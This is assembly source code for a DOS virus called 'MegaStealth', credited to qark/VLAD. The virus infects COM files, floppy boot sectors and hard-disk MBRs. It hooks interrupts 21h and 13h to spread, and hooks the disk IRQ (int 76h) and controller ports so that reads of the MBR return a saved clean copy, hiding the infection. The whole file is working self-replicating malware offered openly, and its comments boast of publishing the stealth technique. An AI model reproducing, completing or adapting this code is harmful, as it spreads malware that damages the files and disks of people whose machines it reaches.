; MegaStealth Virus Source by qark ; ; COM/BS/MBR Infector ; It uses the new form of stealth developed by the 'strange' virus in ; that even if you are using the original ROM int 13h the virus will ; still successfully stealth. It does this by hooking the hard disk ; IRQ, int 76h, and checking the ports for a read to the MBR. If the ; MBR is being read, the ports will be changed to cause a read from ; sector four instead. ; ; Noone has the 'strange' virus (and believe me, every VX BBS in the ; world has been checked), so I decided to develop the technology ; independently and make the information public. ; org 0 cld mov ax,cs or ax,ax jz bs_entry jmp com_entry ;------------------- Boot Sector Stub ---------------- Marker db '[MegaStealth] by qark/VLAD',0 bs_entry: xor ax,ax mov si,7c00h cli mov ss,ax mov sp,si sti mov es,ax mov ds,ax ;CS,DS,ES,SS,AX=0 SI,SP=7C00H sub word ptr [413h],2 ;Allocate 2k of memory. int 12h ;Get memory into AX. mov cl,6 shl ax,cl mov es,ax mov ax,202h xor bx,bx xor dh,dh mov cx,2 or dl,dl js hd_load db 0b9h ;MOV CX,xxxx floppy_sect dw 0 db 0b6h ;MOV DH,xx floppy_head db 0 hd_load: int 13h ;Read our virus in. mov si,13h*4 mov di,offset i13 movsw movsw mov word ptr [si-4],offset handler mov word ptr [si-2],es mov byte ptr es:set_21,0 ;Test for an 8088. mov al,2 mov cl,33 shr al,cl test al,1 jz no_int76 ;8088 doesn't use int76 mov si,76h*4 ;Set int76 mov di,offset i76 movsw movsw mov word ptr [si-4],offset int76handler mov word ptr [si-2],es mov byte ptr es:llstealth_disable,0 no_int76: int 19h ;Reload the original bootsector. ;------------------- COM Stub ---------------- com_entry: db 0beh ;MOV SI,xxxx delta dw 100h mov ax,0f001h int 13h cmp ax,10f0h je resident mov ax,ds dec ax mov ds,ax cmp byte ptr [0],'Z' jne resident sub word ptr [3],7dh sub word ptr [12h],7dh mov ax,word ptr [12h] push cs pop ds mov es,ax xor di,di push si mov cx,1024 rep movsb xor ax,ax ;Set int13 mov ds,ax mov si,13h*4 mov di,offset i13 movsw movsw mov word ptr [si-4],offset handler mov word ptr [si-2],es pop bx push bx add bx,offset end_virus push es push cs pop es mov ax,201h mov cx,1 mov dx,80h int 13h pop es mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es mov byte ptr es:set_21,1 pop si resident: push cs pop ds push cs pop es add si,offset old4 mov di,100h push di movsw movsw ret old4 db 0cdh,20h,0,0 new4 db 0e9h,0,0,'V' ;------------------- Int 21 ---------------- Int21handler: push ax push es mov ax,0b800h mov es,ax mov word ptr es:[340],0afafh pop es pop ax push ax xchg al,ah cmp al,3dh je chk_infect cmp al,4bh je chk_infect cmp al,43h je chk_infect cmp al,56h je chk_infect cmp ax,6ch je chk_infect pop ax exit_21: db 0eah i21 dd 0 far_pop: jmp pop_21 chk_infect: push bx push cx push dx push si push di push ds push es cmp al,6ch jne no_6c mov dx,si no_6c: mov si,dx cld keep_lookin: lodsb cmp al,'.' jne keep_lookin lodsw or ax,2020h cmp ax,'oc' jne far_pop lodsb or al,20h cmp al,'m' jne far_pop mov ax,3d02h call int21h jc far_pop xchg bx,ax mov ah,3fh mov cx,4 push cs pop ds mov dx,offset old4 call int21h mov ax,word ptr [old4] cmp al,0e9h jne chk_exe mov al,byte ptr old4+3 cmp al,'V' je close_exit jmp infect chk_exe: or ax,2020h cmp ax,'mz' je close_exit cmp ax,'zm' je close_exit infect: call lseek_end or dx,dx ;Too big jnz close_exit cmp ax,63500 ja close_exit cmp ax,1000 jb close_exit push ax add ax,100h mov delta,ax pop ax sub ax,3 mov word ptr new4+1,ax mov ax,5700h call int21h jc close_exit push cx push dx mov ah,40h mov cx,offset end_virus xor dx,dx call int21h jc time_exit call lseek_start mov ah,40h mov cx,4 mov dx,offset new4 call int21h time_exit: pop dx pop cx mov ax,5701h call int21h close_exit: mov ah,3eh call int21h pop_21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp exit_21 lseek_start: mov al,0 jmp short lseek lseek_end: mov al,2 lseek: xor cx,cx cwd mov ah,42h call int21h ret Int21h: pushf call dword ptr cs:i21 ret set_21 db 0 ;1 = 21 is set ;------------------- Int 13 ---------------- Stealth: mov cx,4 mov ax,201h or dl,dl js stealth_mbr ;DL>=80H then goto stealthmbr mov cl,14 mov dh,1 stealth_mbr: call int13h jmp pop_end res_test: xchg ah,al iret multipartite: cmp byte ptr cs:set_21,1 je jend cmp word ptr es:[bx],'ZM' jne jend push si push di push ds push es xor si,si mov ds,si push cs pop es mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es mov byte ptr cs:set_21,1 pop es pop ds pop di pop si jmp jend rend: retf 2 Jend: db 0eah ;= JMP FAR PTR i13 dd 0 ;Orig int13h Handler: cmp ax,0f001h ;You fool. je res_test cmp ah,2 jne multipartite cmp cx,1 jne multipartite or dh,dh jnz multipartite call int13h ;Call the read so we can play with ; the buffer. jc rend ;The read didn't go through so leave pushf push ax push bx push cx push dx push si push di push ds push es cmp word ptr es:[bx+offset marker],'M[' je stealth mov byte ptr cs:llstealth_disable,1 mov cx,4 ;Orig HD MBR at sector 3. or dl,dl ;Harddisk ? js write_orig ;80H or above ? ;Calculate shit like track/head for floppy****** push dx push cs pop ds mov ax,es:[bx+18h] ;Sectors per track. sub es:[bx+13h],ax ;Subtract a track. mov ax,es:[bx+13h] ;AX=total sectors. mov cx,es:[bx+18h] ;CX=sectors per track xor dx,dx div cx ;Total sectors/sectors per track xor dx,dx mov cx,word ptr es:[bx+1ah] ;CX=heads div cx ;Total tracks/heads push ax xchg ah,al ;AX=Track mov cl,6 shl al,cl ;Top 2 bits of track. or al,1 ;We'll use the first sector onward. mov word ptr floppy_sect,ax pop ax mov cx,word ptr es:[bx+1ah] ;CX=heads xor dx,dx div cx ;Track/Total Heads mov byte ptr floppy_head,dl ;Remainder=Head number mov cx,14 ;Floppy root directory. pop dx mov dh,1 write_orig: mov ax,301h ;Save the original boot sector. call int13h jc pop_end push es pop ds mov si,bx push cs pop es ;ES=CS mov cx,510 ;Move original sector to our buffer. cld mov di,offset end_virus rep movsb mov ax,0aa55h ;End of sector marker. stosw push cs pop ds xor si,si mov di,offset end_virus mov cx,offset com_entry rep movsb mov bx,offset end_virus mov ax,301h mov cx,1 xor dh,dh call int13h jc pop_end mov ax,302h mov cx,2 xor bx,bx or dl,dl js mbr_write mov cx,word ptr floppy_sect mov dh,byte ptr floppy_head mbr_write: call int13h ;Write the virus! pop_end: mov byte ptr cs:llstealth_disable,0 pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp rend Int13h Proc Near ; AH & AL are swapped on entry to this call. pushf ;Setup our interrupt push cs ;Our segment call jend ;This will also fix our AX ret Int13h EndP ;------------------- Int 76 ---------------- not_bs: pop es pop ds pop di pop dx pop cx pop bx pop ax no_stealth: db 0eah ;JMPF i76 dd 0 Int76Handler: cmp byte ptr cs:llstealth_disable,1 je no_stealth push ax push bx push cx push dx push di push ds push es mov dx,1f3h in al,dx ;Sector number. cmp al,1 jne not_bs inc dx ;1f4h in al,dx ;Cylinder Low cmp al,0 jne not_bs inc dx ;1f5h in al,dx ;Cylinder High cmp al,0 jne not_bs inc dx ;1f6h in al,dx and al,0fh ;Remove everything but the head. cmp al,0 ;Head jne not_bs inc dx ;1f7h in al,dx test al,0fh jnz disk_read jmp not_bs ;Must be a write. disk_read: cld mov dx,1f0h push cs pop es mov di,offset end_virus mov cx,512/2 rep insw ;Read in what they read. ;Now reset the whole system for a read from sector 4. mov dx,1f2h mov al,1 ;One sector. out dx,al inc dx mov al,4 ;Sector 4 instead. out dx,al ;1f3 mov al,0 inc dx out dx,al ;1f4 inc dx out dx,al ;1f5 inc dx mov al,0a0h out dx,al ;1f6 mov dx,1f7h mov al,20h ;Read function. out dx,al not_done: in al,dx test al,8 jz not_done jmp not_bs llstealth_disable db 0 ;0 means int76 enabled ;---------------------- 76 ------------------- end_virus: